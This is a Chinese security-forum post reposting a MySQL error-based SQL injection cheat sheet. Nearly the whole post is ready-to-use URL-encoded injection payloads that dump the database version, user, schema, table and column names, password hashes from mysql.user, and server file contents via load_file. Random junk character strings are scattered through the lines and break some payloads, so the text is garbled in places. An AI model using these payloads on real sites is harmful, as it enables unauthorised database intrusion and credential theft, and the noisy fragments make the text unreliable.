找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2377|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 - z5 g9 Q- @. ?# H9 }7 f4 ~3 }; h/ T

  P$ S2 Y* p* `6 E$ c1 z/ E6 `
+ T0 h7 \  i1 PMysql暴错注入参考(pdf),每天一贴。。。
- k. |) t1 G) D! y0 ?
" i$ Q" j/ `9 P" n- A. ^3 yMySql Error Based Injection Reference
/ G2 W$ B/ }1 |5 m# [; Y[Mysql暴错注入参考]
5 ]) f* t2 \: l! U9 pAuthornig0s1992
5 X' `6 W: q6 s7 OBlog:http://pnig0s1992.blog.51cto.com/
& y; _0 s) K/ ^' M% UTeAm:http://www.FreeBuf.com/" H0 |3 o1 m+ U2 B+ x
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功- i7 o8 l: U" {% {0 [& G0 A
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
8 n) v, U4 j. O( g9 `& ~+ {' Q4 b2 ]查询版本:0 L9 {- ]7 x4 L
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a++ f+ ]& m6 N4 y4 I
join+(select+name_const(@@version,0))b)c)) D1 k. y- J2 j
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
* _. B$ v& j2 D0 P$ s" d+ Fup by a)b)
9 k) r' X5 z: }7 X查询当前用户:
/ w! d) N; [/ m% e; s" }" |Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)* E) n$ i# v2 A% m; R' `8 M
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
: Q. r$ f  F$ i' w& z, Y- |and(0)*2))x+from+information_schema.tables+group+by+x)a)
  i( r  R- Z- O4 ?$ L! t查询当前数据库:2 f0 T& t  `$ C4 g- n% P% O" q
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
& ?" K$ k- Y( C! bMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
( _& t1 b5 p7 U" W7 Y8 [" qor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
1 o1 R8 X+ e8 m- q" }% Q8 K依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+3 I9 F' P7 \0 _" ?$ ]
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n  ~; d7 ^) w6 N: ]
顺序替换7 D2 c7 R9 w& q, ?3 ^! O
爆指定库数目:" y, n) Z3 g/ L9 p. Z, C2 j
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
$ t8 W) j- `) G" uable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
2 Q; j, G; |: u+by+x)a)+and+1=1 0x6D7973716C=mysql! @, H7 F3 t5 ^& g! f
依次爆表:6 o. F% M. U1 S. p  Q: m
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t' {6 [; A: i# ]. B4 j
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
+ |/ u/ \5 M) I& E- M3 @8 Ibles+group+by+x)a)+and+1=1. `; M! o: A, W* k$ N; O
0x6D7973716C=Mysql 将n顺序替换
) D. g2 E6 h. T( G8 q爆表内字段数目:
: e* O0 ?2 L1 y+ |. R# Cand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
3 J3 M" o8 `- O$ Y8 j4 Q( A+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
1 y9 m1 V" Q' ?) F& E  @- |& c0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
5 ], a3 q( p1 s4 F& E6 a依次爆字段:
1 V- _  x7 x9 J# `. Wand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
* H$ G. H% X! `" |. n$ ~+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
8 t$ Y5 A6 ?. z! W. cloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换) }$ Z* p) G4 `1 ]" x7 M
依次暴内容:; F5 C1 d- e  Z: X- e
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche" f1 y4 ]* P/ x0 K9 s
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1# e$ Z4 }: o3 T. ~  d0 x6 D% z% U
将n顺序替换
0 J" Z* W8 J2 P4 o8 k( f; c爆文件内容:
7 Z3 C+ V" ^3 Fand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
4 i$ N7 s/ o# @+ F- p. h3 ^from+information_schema.tables+group+by+a)b) 7 }+ l2 [1 F) x& Q
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
% V( T- Z4 `  ~! A+ BThx for reading.
, f' Z8 ]0 L9 k& A% I& D5 Y1 X1 v- y$ E# W( U% ~% o
不要下载也可以, 2 ?( u* e  Y7 m4 j& _. u$ _0 q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表